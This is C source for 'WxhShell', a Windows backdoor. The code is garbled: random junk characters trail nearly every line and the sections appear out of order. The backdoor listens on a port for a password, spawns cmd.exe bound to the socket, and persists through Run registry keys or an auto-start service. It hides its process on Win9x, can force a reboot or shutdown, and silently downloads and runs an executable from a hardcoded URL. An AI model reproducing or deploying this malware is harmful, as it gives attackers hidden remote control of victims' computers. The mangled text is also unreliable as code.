    if(Boot(SHUTDOWN)) B j*X_m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /_56H?w\  
    else { _e-a>y  
    closesocket(wsh); =RV$8.Xp  
    ExitThread(0); h knobk  
    } Ep'C FNbtW  
    break; ^7_<rs   
    } 3yZ@i<rfH  
  // 获取shell dvxH:,  
  case 's': { , n EeI&  
    CmdShell(wsh); I/@Xr  
    closesocket(wsh); E*'O))  
    ExitThread(0); #:{u1sq;  
    break; R2;-WxnN]  
  } v/m6(z  
  // 退出 b0&dpMgh:  
  case 'x': { *vj5J"Y(;t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iI _Fbw8  
    CloseIt(wsh); )_&<u\cm L  
    break; 8p!PR^OM@  
    } ricDP 9#a  
  // 离开 XCt}>/"s\h  
  case 'q': { %b_zUFHPp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z24-h C  
    closesocket(wsh); LAvAjvRc  
    WSACleanup(); yC _X@o-n  
    exit(1); Fs=nAn#  
    break; IYj-cm  
        } [` i;gx[^  
  } [}VEDx  
  } )@sz\yI%U  
+V0uH pm  
  // 提示信息 fa!iQfr  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gmM79^CEF  
} +XIN-8  
  } `@:^(sMo  
4+uAd"  
  return; Yt{Y)=_t  
} 5ax/jd~}  
v8WoV*  
// shell模块句柄 WRNO) f<  
int CmdShell(SOCKET sock) 5^5h%~)}  
{ +^%F8GB  
STARTUPINFO si; , R]7{7$  
ZeroMemory(&si,sizeof(si)); UV:_5"-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gFW1Nm_DJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sNNt0q(  
PROCESS_INFORMATION ProcessInfo; 9x:c"S*  
char cmdline[]="cmd"; #2`tsZ]=I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &-&6ARb7o  
  return 0; b_6j77  
} %f^TZ,q$  
.]jKuTC\<  
// 自身启动模式 %]:u^\7  
int StartFromService(void) .E@yB`AR  
{ AMkjoy3+]  
typedef struct @F=4B0=  
{ \K>6-0r|  
  DWORD ExitStatus; } $OQw'L[  
  DWORD PebBaseAddress; z |t0mS$  
  DWORD AffinityMask; T}zOM%]]  
  DWORD BasePriority; Z3Vi il:  
  ULONG UniqueProcessId; '\\J95*`  
  ULONG InheritedFromUniqueProcessId; L >xN7N3&m  
}   PROCESS_BASIC_INFORMATION; V%3K")  
6>KDK<5NQ  
PROCNTQSIP NtQueryInformationProcess; Iunt!L  
J%%nv5y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4|*_mC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B!9<c9/ P]  
9GCxF`OB  
  HANDLE             hProcess; _o<8R@1  
  PROCESS_BASIC_INFORMATION pbi; !$fBo3!B_8  
i8EMjLBUR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z m_mLk$4H  
  if(NULL == hInst ) return 0; }yXa1#3  
8Kv=Zp,?`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W4X=.vr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (L q^C=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @y)fR.!)1$  
^e)KEkh  
  if (!NtQueryInformationProcess) return 0; <r_ldkZ  
yn`H}@`k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /\OjtE  
  if(!hProcess) return 0; Q]66v$  
/ bfLox  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IhY[c/ |i  
jsH7EhF{'  
  CloseHandle(hProcess); 7H9&\ur9+  
*7`;{O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \M<C6m5  
if(hProcess==NULL) return 0; XWH~o:0<2  
xyBWV]Y  
HMODULE hMod; 6-j><'  
char procName[255]; 0LN"azhz  
unsigned long cbNeeded; Z!v)zH\  
#]cO] I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FK{Vnj0  
E&#cU}ErN  
  CloseHandle(hProcess); Jvgx+{Xu  
QS\H[?M$  
if(strstr(procName,"services")) return 1; // 以服务启动 {OH "d  
SI^!e1@M[  
  return 0; // 注册表启动 #px74EeI\  
} y)CnH4{  
Hj2E-RwG  
// 主模块 s<h]2W  
int StartWxhshell(LPSTR lpCmdLine) :I[nA?d[&  
{ STtjkZ6  
  SOCKET wsl; sZxf.  
BOOL val=TRUE; PqKbG<}Y  
  int port=0; V*Ta[)E  
  struct sockaddr_in door; U\s.fIr  
F^fL  
  if(wscfg.ws_autoins) Install(); 6Q"fRXM   
Gx,<|v  
port=atoi(lpCmdLine); 4l_!OUvt  
l`>|XUf6  
if(port<=0) port=wscfg.ws_port; Nb(c;|nV  
j0_)DG  
  WSADATA data; nc4KeEl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #{-B`FAQ  
J!YB_6b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5%Hw,h   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qT5q3A(8  
  door.sin_family = AF_INET; Bi:%}8STH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 62)Qr  
  door.sin_port = htons(port); J2W#vFe\  
Z8I  Y!d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { waT'|9{  
closesocket(wsl); THEpW{.E  
return 1; ' d' Dlg  
}  0@7%  
}M7{~ov#s  
  if(listen(wsl,2) == INVALID_SOCKET) { v P;  
closesocket(wsl); A6eIf  
return 1; O*jTrZ(k  
} ( y0  
  Wxhshell(wsl); rr~O6Db  
  WSACleanup(); L6<.>\^Z"  
40h  
return 0; Fab gJu  
{8p<iY- %  
} @$mh0K>  
r9sq3z|%  
// 以NT服务方式启动 V7DMn@Ckw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =[5F~--Tf  
{ eO%w i.Q  
DWORD   status = 0; #$n >+ lc  
  DWORD   specificError = 0xfffffff; -j& A;G  
.=G ?Zd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "}*5'e.*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u]0{#wu;g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]WFr5  
  serviceStatus.dwWin32ExitCode     = 0; ^jh c(ZW"  
  serviceStatus.dwServiceSpecificExitCode = 0; e\)r"!?H`  
  serviceStatus.dwCheckPoint       = 0; -A1@a= q  
  serviceStatus.dwWaitHint       = 0; aN UU' [  
8/gA]I 6=#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )@(IhU )  
  if (hServiceStatusHandle==0) return; q8 &\;GK|  
pz4lC=H%o  
status = GetLastError(); :#nfdvqm  
  if (status!=NO_ERROR) r_>]yp  
{ T"IDCT'z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !1m7^3l7j  
    serviceStatus.dwCheckPoint       = 0; h8XoF1wuw  
    serviceStatus.dwWaitHint       = 0; {3Y R_^>?  
    serviceStatus.dwWin32ExitCode     = status; = q \TWz  
    serviceStatus.dwServiceSpecificExitCode = specificError; yjE $o?A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); emT/5'y  
    return; \gCh'3  
  } {HO,d{{  
&s^t~>Gpr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \RT3#X+  
  serviceStatus.dwCheckPoint       = 0; _|jEuif  
  serviceStatus.dwWaitHint       = 0; ZX0#I W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0q6xXNAX  
} CXiDe)|<E  
V*6o|#  
// 处理NT服务事件,比如:启动、停止 h[ cqa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &TT vX% T  
{ He9Er  
switch(fdwControl) #=uV, dw  
{ u(W>HVEG  
case SERVICE_CONTROL_STOP: vC^Ul  
  serviceStatus.dwWin32ExitCode = 0; QtHK`f>4#n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1`Z:/]hl  
  serviceStatus.dwCheckPoint   = 0; j82x$I*  
  serviceStatus.dwWaitHint     = 0; zFi)R }Ot  
  { :P8X?C63W]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l6T^e@*  
  } y0]"qB  
  return; \ gO!6  
case SERVICE_CONTROL_PAUSE: ZHM NG~!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Xk] uXx:TN  
  break; !&adO,jN+=  
case SERVICE_CONTROL_CONTINUE: V7<w9MM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fnJx$PD~  
  break; y$8S+N?>  
case SERVICE_CONTROL_INTERROGATE: GLp~SeF#  
  break; w ,*#z  
}; )vD:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i~"lcgoO  
} vd9PBN  
a)S{9q}%  
// 标准应用程序主函数 <5!)5+G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \_)[FC@  
{ M{t/B-'4  
:z-?L0C=0  
// 获取操作系统版本 v%muno,  
OsIsNt=GetOsVer(); .4J7 ^l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9fy[%M  
NT=)</v  
  // 从命令行安装 3!op'X!  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y41b8.|P+  
k x%\Cz  
  // 下载执行文件 ThY\K>@]  
if(wscfg.ws_downexe) { T@xaa\bzg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $sFqMy  
  WinExec(wscfg.ws_filenam,SW_HIDE); (c S'Nm5  
} p`Ok(C_  
Gvl,M\c9-  
if(!OsIsNt) { Mw`S.M. B  
// 如果时win9x,隐藏进程并且设置为注册表启动 t>vr3)W  
HideProc(); G0u H6x?  
StartWxhshell(lpCmdLine); *|OUd7P:hU  
} BsR3$  
else *+%$OH,  
  if(StartFromService()) ^|%N _ s  
  // 以服务方式启动 XMF#l]P  
  StartServiceCtrlDispatcher(DispatchTable); kl|m @Nxp  
else BPSi e0  
  // 普通方式启动 +3 J5j+  
  StartWxhshell(lpCmdLine); P N(<=v&E  
JMfv|>=  
return 0; oXQI"?^+  
} l!<(}?u9  
\I7&F82e  
*QT7\ht3  
t(99m=9>  
=========================================== p'kB1)~|  
Jq:Wt+a  
qFp]jbU  
iow"X6_l_  
E~S~Ld%  
2;7n0LOs}  
" =)f.Yf|A*  
zG7y$\A  
#include <stdio.h> swg*fhJFB  
#include <string.h> G[+{[W  
#include <windows.h> WeIi{<u8R  
#include <winsock2.h> n){u!z)Al  
#include <winsvc.h>  GG(}#Z5h  
#include <urlmon.h> b?-KC\}v  
NftR2  
#pragma comment (lib, "Ws2_32.lib") 3 jghV?I{T  
#pragma comment (lib, "urlmon.lib") -+0!Fkt@,  
&23{(]eO  
#define MAX_USER   100 // 最大客户端连接数 bwK1XlfD.s  
#define BUF_SOCK   200 // sock buffer V8 G.KA "  
#define KEY_BUFF   255 // 输入 buffer ~3$:C#"Dl  
be]Zx`)k  
#define REBOOT     0   // 重启 gWl49'S>+  
#define SHUTDOWN   1   // 关机 82YZN5S3]3  
8"ulAx74>  
#define DEF_PORT   5000 // 监听端口 M y!;N1  
POQ4&ChA  
#define REG_LEN     16   // 注册表键长度 ~PX#' Jr  
#define SVC_LEN     80   // NT服务名长度 K7ZRj\(CJv  
v807)JwS  
// 从dll定义API dF^`6-K1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g{Hb3id9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L,3%}_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CtHsi8m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2 U3WH.o  
IIAm"=*  
// wxhshell配置信息 Y+C6+I<3  
struct WSCFG { 36d6KS 7  
  int ws_port;         // 监听端口 eMjW^-RgE5  
  char ws_passstr[REG_LEN]; // 口令 )gG_K$08?  
  int ws_autoins;       // 安装标记, 1=yes 0=no W"g@*B'|  
  char ws_regname[REG_LEN]; // 注册表键名 'kekJ.wJ;  
  char ws_svcname[REG_LEN]; // 服务名 8*sP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~V/?/J$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h@{CMe  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [a k[ZXC,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mpzm6I eu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `8D'r|=`Eh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bKQ-PM&I/t  
fK4NmdTV  
}; \O\veB8  
FD.L{  
// default Wxhshell configuration 4Z/ ]7Ie  
struct WSCFG wscfg={DEF_PORT, |Gt]V`4  
    "xuhuanlingzhe", 30QQnMH3  
    1, xKXD`-|W  
    "Wxhshell", Gu%}B@4^  
    "Wxhshell", wTn"  
            "WxhShell Service", \P9HAz'6  
    "Wrsky Windows CmdShell Service", $kh6-y@  
    "Please Input Your Password: ", )z7+%nTO  
  1, \Bn$b2j!%  
  "http://www.wrsky.com/wxhshell.exe", JjG>$z  
  "Wxhshell.exe" ZRYHsl{F+  
    }; 2w:cdAv$  
_'P!>C!  
// 消息定义模块 0{>P^z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *%QTv3{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zg{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1y.!x~Pi,  
char *msg_ws_ext="\n\rExit."; y73@t$|  
char *msg_ws_end="\n\rQuit."; ]ChN]>o  
char *msg_ws_boot="\n\rReboot..."; Cc` )P>L  
char *msg_ws_poff="\n\rShutdown..."; Q46sPMH+_  
char *msg_ws_down="\n\rSave to "; M9wj };vy  
UzUt=s!^H  
char *msg_ws_err="\n\rErr!"; X-5&c$hv  
char *msg_ws_ok="\n\rOK!"; 6M@m`c  
Zc*gRC  
char ExeFile[MAX_PATH]; ^4tz*i  
int nUser = 0; ]|/\Sd  
HANDLE handles[MAX_USER]; !Baq4V?KN  
int OsIsNt; ysQ8==`38i  
CfjVx   
SERVICE_STATUS       serviceStatus; ~[ x}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !S[7IBk%  
sme!!+Rd  
// 函数声明 S)*!jI  
int Install(void); |I=\+P}s  
int Uninstall(void); )-d &XN7  
int DownloadFile(char *sURL, SOCKET wsh); B#(2,j7M  
int Boot(int flag); mYqRN1%  
void HideProc(void); qjd8Q  
int GetOsVer(void); t 5  
int Wxhshell(SOCKET wsl); \:91BQP c  
void TalkWithClient(void *cs); ] 73BJ  
int CmdShell(SOCKET sock); VTxLBFK;  
int StartFromService(void); hG.~[#[&6  
int StartWxhshell(LPSTR lpCmdLine); _z \PVTT  
qU:Mvb^5&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); x2H?B` 5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;PhX[y^*  
L51uC ,QF  
// 数据结构和表定义 }&Jml%F4uR  
SERVICE_TABLE_ENTRY DispatchTable[] = 1R"ymWg"  
{ 9-N*Jhg  
{wscfg.ws_svcname, NTServiceMain}, yX;v   
{NULL, NULL} s~Od(,K  
}; zmh3 Qa(  
U)gr C8 C  
// 自我安装 *dm?,~f%<  
int Install(void) C6(WnO{6  
{ (eJYv: ^  
  char svExeFile[MAX_PATH]; -4'yC_8t  
  HKEY key; KRh95B GU  
  strcpy(svExeFile,ExeFile); IBr|A  
|{H-PH*Iz  
// 如果是win9x系统,修改注册表设为自启动 >L>t$1hXM  
if(!OsIsNt) {  e{33%5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ga} &%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _rf  
  RegCloseKey(key); p;m2RHYF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }w8:`g'T0/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1A b=1g{  
  RegCloseKey(key); edD"jq)J  
  return 0; VC@{cVT  
    } @AU<'?k  
  } CJu3h&Rp  
} f,}]h~w\  
else { wH Q$F(by  
e(m#elX  
// 如果是NT以上系统,安装为系统服务 = A;B-_c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pn6!QpV5  
if (schSCManager!=0) , *A',  
{ *eo<5YUHt  
  SC_HANDLE schService = CreateService wIT}>8o  
  ( )Vb_0n=^  
  schSCManager, pC'GKk 8  
  wscfg.ws_svcname, =D2x@ank[  
  wscfg.ws_svcdisp, < l%3P6|  
  SERVICE_ALL_ACCESS, x0!5z1KQh  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;Y>cegG\  
  SERVICE_AUTO_START, RZeU{u<O  
  SERVICE_ERROR_NORMAL, #]!0$z|Z  
  svExeFile, '9MtIcNb  
  NULL, ,pz^8NJAI  
  NULL, -6KGQc}U  
  NULL, ki^c)Tqn  
  NULL, ymLhSF][  
  NULL uT??t=vb  
  ); ?E?dg#yk  
  if (schService!=0) $G5;y>  
  { yprf `D>  
  CloseServiceHandle(schService); tj_+0J$sw:  
  CloseServiceHandle(schSCManager);  `9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &k+'TcWm  
  strcat(svExeFile,wscfg.ws_svcname); 6n.W5 1g(s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *M_Gu{xc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t3)nG8> )  
  RegCloseKey(key); j&. MT@  
  return 0; FaNH+LPe  
    } )TBG-<wt  
  } =-c"~4  
  CloseServiceHandle(schSCManager); / 1jb8w'  
} @,63%  
} 4#z@B1Jx  
OwwlQp ~!J  
return 1; qxsK-8KT<  
} =_`4HDr  
y#3mc#)k  
// 自我卸载 5CxD ys&<  
int Uninstall(void) &r6VF/  
{ %jK-}0Tu  
  HKEY key; c D+IMlT  
Mlp[xk|  
if(!OsIsNt) { MEQ :[;1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XQu~/{A=  
  RegDeleteValue(key,wscfg.ws_regname); fL8+J]6A6  
  RegCloseKey(key); p*rBT,'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pNo<:p  
  RegDeleteValue(key,wscfg.ws_regname); 05\A7.iy  
  RegCloseKey(key); {iqH 27\E  
  return 0; V=}b>Jo2j  
  } L_.BcRy  
} 9IKFrCO9,  
} VN[h0+n4Th  
else { dE*n!@  
;wfzlUBC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Nt^R~#8hF>  
if (schSCManager!=0) mJu;B3@  
{ &WIiw$@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); GQTMQXn(  
  if (schService!=0) b:Lp`8Du  
  { zA&lJD $0  
  if(DeleteService(schService)!=0) { Kc*h@#`~oL  
  CloseServiceHandle(schService); i6zfr|`@  
  CloseServiceHandle(schSCManager); e`#c[lbAAM  
  return 0; Y?2I /  
  } M`ETH8Su=  
  CloseServiceHandle(schService); nBGFa  
  } )DsC:cP  
  CloseServiceHandle(schSCManager); J'O</o@e  
} Z@=1-l  
} wj/\ !V!  
(z0S5#g ,x  
return 1;  = uZ[  
} nJ#uz:(w,  
~ jb6  
// 从指定url下载文件 #]i*u1  
int DownloadFile(char *sURL, SOCKET wsh) h5&l#>8&  
{ Efb>ZQ  
  HRESULT hr; 0l6z!@GhT  
char seps[]= "/"; -DrR6kGjR  
char *token; x-k}RI  
char *file; ?5nF` [rx  
char myURL[MAX_PATH]; e%&2tf4  
char myFILE[MAX_PATH]; SUXRWFl  
T^8t<S@`  
strcpy(myURL,sURL); iK6L\'k  
  token=strtok(myURL,seps); d_*'5Eia6  
  while(token!=NULL) F kp;G  
  { zR/d:P?  
    file=token; >C~-*M9  
  token=strtok(NULL,seps); D*Y4B ?,  
  } (b Q1,y  
^ad p<?q4  
GetCurrentDirectory(MAX_PATH,myFILE); g]R }w@nJ  
strcat(myFILE, "\\"); M-u:8dPu  
strcat(myFILE, file); o+SD(KVn-  
  send(wsh,myFILE,strlen(myFILE),0); +qe!KPk2  
send(wsh,"...",3,0); sTO*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E)m{m$Hb  
  if(hr==S_OK) {[PoLOCI  
return 0; D0tmNV@  
else *z`_U]tP  
return 1; h8oG5|Y  
$ +;`[b   
} &'4id[$9  
5Ya TE<G  
// 系统电源模块 OWFLw  
int Boot(int flag) pq7G[  
{ A^2VH$j]+  
  HANDLE hToken; "W;Gv I  
  TOKEN_PRIVILEGES tkp; C)`k{(-{  
n4+l, ~  
  if(OsIsNt) { /c~z(wv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]'=]=o~4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u~\u8X3  
    tkp.PrivilegeCount = 1; ^#2w::Ds}!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dJM)~Ay-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wp`a:QZ8N  
if(flag==REBOOT) { &a%|L=FY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xSZgQF~  
  return 0; ^ElUU?rX  
} W F<`CQg[  
else { 40N8?kQ}?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5BCXI8Ox9x  
  return 0; hex:e2x  
} W[[3'JTF  
  } D)XF@z;  
  else { o ^L 3Xiv  
if(flag==REBOOT) { XP<wHh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G=!1P]M{  
  return 0; Zf}]sW$H  
} [op!:K0  
else { eKNZ?!c=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `me2Q  
  return 0; r k;k:<c  
} ^AK<]r<?L?  
} WY#A9i5Ge  
 XeDiiI  
return 1; $-m@cObw!.  
} \];0S4SBy  
V #W,}+_Sz  
// win9x进程隐藏模块 _eM\ /(v[  
void HideProc(void) vFL Qq,?Nh  
{ uyMxBc%6  
qc\]~]H]r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "  m<]B  
  if ( hKernel != NULL ) LO<R<zz  
  { SuU,SE'TX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n=l>d#}$%T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J`a$"G B.  
    FreeLibrary(hKernel); Aa-L<wZVPt  
  } fOCLN$x^  
;@GlJ '$;  
return; yB\}e'J^  
} MW8GM}Ho[  
6=s!~  
// 获取操作系统版本 wgxr8;8`q  
int GetOsVer(void) "2q}G16K  
{  fy" q  
  OSVERSIONINFO winfo; ?47q0C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S/ )P&V%  
  GetVersionEx(&winfo); |oPCmsO3R{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J3gJSRT@P  
  return 1; K>X#,lE-  
  else 13wO6tS k  
  return 0; Y~#m-y  
} 4Ei*\:  
^WQ.' G5Q  
// 客户端句柄模块 #qY`xH'>  
int Wxhshell(SOCKET wsl) hp+=UnW  
{ )isz }?Dj  
  SOCKET wsh; NpqMdd   
  struct sockaddr_in client; B-PN +P2  
  DWORD myID; -/rP0h5#  
/]m5HW(P7K  
  while(nUser<MAX_USER) S0\QZ/je  
{ U8qb2'a8  
  int nSize=sizeof(client); U;u@\E@2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~kPHf_B;z  
  if(wsh==INVALID_SOCKET) return 1; ]W39HL  
$q,2VH:Ip  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -qaJ@T+J+7  
if(handles[nUser]==0) 5H#f;L\k  
  closesocket(wsh); *Z\B9mx  
else U8Z(=*Z3  
  nUser++; .1<QB{4~v  
  } P}hHx<L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t=o2:p6&  
l Os91+.%  
  return 0; o0nd]"q?  
} wm~35cF(  
TG 9 a1q  
// 关闭 socket '4k l$I  
void CloseIt(SOCKET wsh) ]R[j ]E.  
{ ? cU9~=  
closesocket(wsh); KGb:NQ=O6i  
nUser--; .Qk T-12  
ExitThread(0); ))m\d*  
} RQhS]y@e  
=p~k5k4  
// 客户端请求句柄 tb36c<U-  
void TalkWithClient(void *cs) t4(Z@X$  
{ +*&bgGhT  
pFb }5Q  
  SOCKET wsh=(SOCKET)cs; j<|I@0  
  char pwd[SVC_LEN]; -P#PyZEH&I  
  char cmd[KEY_BUFF]; Ahl-EVIr<  
char chr[1]; 4.Luy  
int i,j; -{[5P!  
R5OP=Q8  
  while (nUser < MAX_USER) { r Q)?Bhf  
ZLm?8g6-  
if(wscfg.ws_passstr) { nk=+6r6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2$ m#)*\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RlW0U-%u  
  //ZeroMemory(pwd,KEY_BUFF); ]e`&py E  
      i=0; C#<b7iMg  
  while(i<SVC_LEN) { 8Ld{Xg  
SQ&nQzL  
  // 设置超时 <&JK5$l<X  
  fd_set FdRead; \cJ?2^Eq  
  struct timeval TimeOut; #o`y<1rN  
  FD_ZERO(&FdRead); i2.g}pM.A  
  FD_SET(wsh,&FdRead); u~b;m  
  TimeOut.tv_sec=8; oA/[>\y  
  TimeOut.tv_usec=0; LFvO[&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v'3.`aZ!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ; '6`hZ  
J:W|2U="  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E%Tpby}^'  
  pwd=chr[0]; 4-j3&(  
  if(chr[0]==0xd || chr[0]==0xa) { 24{Tl q3  
  pwd=0; -DAkVFsN  
  break; xib?XzxGo  
  } !@>_5p>q*  
  i++; Vx'82CIC  
    } :\hcl&W:  
j'L/eps?S  
  // 如果是非法用户,关闭 socket ]k+XL*]'A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S+wy^x@@  
} YkWv*l  
arVu`pD*n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ki|KtKAu_9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LAs#g||M  
@6["A'h  
while(1) { 4)Jtc2z7Z\  
c_V^~hq  
  ZeroMemory(cmd,KEY_BUFF); j8Pqc]  
CG#lpAs  
      // 自动支持客户端 telnet标准   sr S2v\1:  
  j=0; rF@njw@  
  while(j<KEY_BUFF) { /;5U-<qf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y5@#le M  
  cmd[j]=chr[0]; -9PJ4"H  
  if(chr[0]==0xa || chr[0]==0xd) { K Eda6zZH  
  cmd[j]=0; I:|<};m m  
  break; Fw{:fFZC[  
  } h@kq>no  
  j++; TEJn;D<1I,  
    } 2uSXC*Phz  
c/Dk*.xy<  
  // 下载文件 O$eNG$7  
  if(strstr(cmd,"http://")) { \_v jc]?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a7Mn/ i.  
  if(DownloadFile(cmd,wsh)) "FD`1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \p4>onGI  
  else =Ff _)k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I8x,8}o>V  
  } }H5~@c$  
  else { 7!qO*r  
xdLMy#U2  
